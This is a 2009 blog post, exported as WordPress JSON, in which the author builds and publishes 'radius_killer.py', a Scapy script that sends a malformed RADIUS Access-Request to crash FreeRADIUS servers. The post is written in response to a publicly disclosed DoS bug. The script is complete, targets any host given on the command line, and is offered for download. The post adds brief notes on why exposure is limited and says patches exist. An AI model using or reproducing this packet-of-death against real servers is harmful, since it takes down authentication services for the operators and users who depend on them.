{"id":105,"date":"2009-09-11T13:39:47","date_gmt":"2009-09-11T17:39:47","guid":{"rendered":"http:\/\/www.braindeadprojects.com\/blog\/?p=105"},"modified":"2010-03-10T18:19:46","modified_gmt":"2010-03-10T22:19:46","slug":"freeradius-packet-of-death","status":"publish","type":"post","link":"http:\/\/www.braindeadprojects.com\/blog\/what\/freeradius-packet-of-death\/","title":{"rendered":"Freeradius Packet of Death"},"content":{"rendered":"<p>I haven&#8217;t had a chance to use <a title=\"Scapy\" href=\"http:\/\/www.secdev.org\/projects\/scapy\/doc\/index.html\" target=\"_blank\">Scapy<\/a> in a little while, and I don&#8217;t spend hardly any time in Python (don&#8217;t really know the language at all, to be honest), but a long time ago I was searching for an IPv6 capable successor to <a href=\"http:\/\/www.hping.org\/\" target=\"_blank\">Hping<\/a>. Scapy almost fits the bill.<\/p>\n<p>Earlier today, while reading through<a href=\"http:\/\/www.gossamer-threads.com\/lists\/fulldisc\/\" target=\"_blank\"> Full Disclosure<\/a>, I came across something interesting: <a href=\"http:\/\/www.gossamer-threads.com\/lists\/fulldisc\/full-disclosure\/69935\" target=\"_blank\">a Freeradius DoS bug<\/a>. This piqued my interest as I&#8217;m currently experiencing _something_ that&#8217;s periodically knocking over radiusd. Furthermore, the radius server in question talks to a router with problematic L2TP tunnels (caused by a software bugs in L2TP sequencing on the Telco router on the other end&#8230;their vendor has confirmed the problems)<\/p>\n<p>Time to create the packet of death. Scapy doesn&#8217;t appear to have a layer for RadiusAttributes yet, thankfully it IS in their <a href=\"http:\/\/trac.secdev.org\/scapy\/attachment\/ticket\/92\/radiuslib.py\" target=\"_blank\">Trac<\/a>.<\/p>\n<p>So, download the layer to scapy\/layers, ensure that it imports the required items:<\/p>\n<blockquote><p>import struct<br \/>\nfrom scapy.packet import *<br \/>\nfrom scapy.fields import *<br \/>\nfrom scapy.layers.inet import UDP<\/p>\n<p>from scapy.layers.radius import Radius<\/p><\/blockquote>\n<p>Add &#8220;radiuslib&#8221; to the load_layers array in config.py, and we&#8217;re ready to go:<\/p>\n<blockquote><p>#!\/usr\/bin\/env python<br \/>\n# FreeRadius Packet Of Death<br \/>\n# Matthew Gillespie 2009-09-11<\/p>\n<p>import sys<br \/>\nfrom scapy.all import IP,UDP,send,Radius,RadiusAttr<\/p>\n<p>if len(sys.argv) != 2:<br \/>\nprint &#8220;Usage: radius_killer.py &lt;radiushost&gt;\\n&#8221;<br \/>\nsys.exit(1)<\/p>\n<p>PoD=IP(dst=sys.argv[1])\/UDP(sport=60422,dport=1812)\/ \\<br \/>\nRadius(code=1,authenticator=&#8221;\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99&#8243;,id=180)\/ \\<br \/>\nRadiusAttr(type=69,value=&#8221;&#8221;,len=2)<\/p>\n<p>send(PoD)<\/p><\/blockquote>\n<p style=\"text-align: center;\"><a href=\"http:\/\/www.braindeadprojects.com\/src\/radius_killer.pys\" target=\"_blank\">(download)<\/a><\/p>\n<p style=\"text-align: left;\">Interestingly, one doesn&#8217;t need a shared key to send the packet of death, as you can tell the authenticator for the Access-Request packet is pulled out of thin air.<\/p>\n<p style=\"text-align: left;\">I&#8217;m assuming that most people iptable off access to their radius servers, so playing whack-a-mole with a provider probably isn&#8217;t that do-able. Beyond that, to even come close to possibly exploiting this, you need to be listed in clients.conf &#8211; so there&#8217;s already that level of trust.\u00a0 Correct me if I&#8217;m wrong. Either way, updated packages are available.<\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: left;\">\n<figure style=\"width: 461px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/www.braindeadprojects.com\/img\/MadeMilw0rmBeforeItDied.png\"><img loading=\"lazy\" decoding=\"async\" title=\"Made Milw0rm before it died\" src=\"http:\/\/www.braindeadprojects.com\/img\/MadeMilw0rmBeforeItDied.png\" alt=\"\" width=\"461\" height=\"350\" \/><\/a><figcaption class=\"wp-caption-text\">RIP Milw0rm<\/figcaption><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>I haven&#8217;t had a chance to use Scapy in a little while, and I don&#8217;t spend hardly any time in Python (don&#8217;t really know the language at all, to be honest), but a long time ago I was searching for an IPv6 capable successor to Hping. Scapy almost fits the bill. Earlier today, while reading &hellip; <a href=\"http:\/\/www.braindeadprojects.com\/blog\/what\/freeradius-packet-of-death\/\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">Freeradius Packet of Death<\/span> <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-105","post","type-post","status-publish","format-standard","hentry","category-what"],"_links":{"self":[{"href":"http:\/\/www.braindeadprojects.com\/blog\/wp-json\/wp\/v2\/posts\/105"}],"collection":[{"href":"http:\/\/www.braindeadprojects.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.braindeadprojects.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.braindeadprojects.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.braindeadprojects.com\/blog\/wp-json\/wp\/v2\/comments?post=105"}],"version-history":[{"count":12,"href":"http:\/\/www.braindeadprojects.com\/blog\/wp-json\/wp\/v2\/posts\/105\/revisions"}],"predecessor-version":[{"id":114,"href":"http:\/\/www.braindeadprojects.com\/blog\/wp-json\/wp\/v2\/posts\/105\/revisions\/114"}],"wp:attachment":[{"href":"http:\/\/www.braindeadprojects.com\/blog\/wp-json\/wp\/v2\/media?parent=105"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.braindeadprojects.com\/blog\/wp-json\/wp\/v2\/categories?post=105"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.braindeadprojects.com\/blog\/wp-json\/wp\/v2\/tags?post=105"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}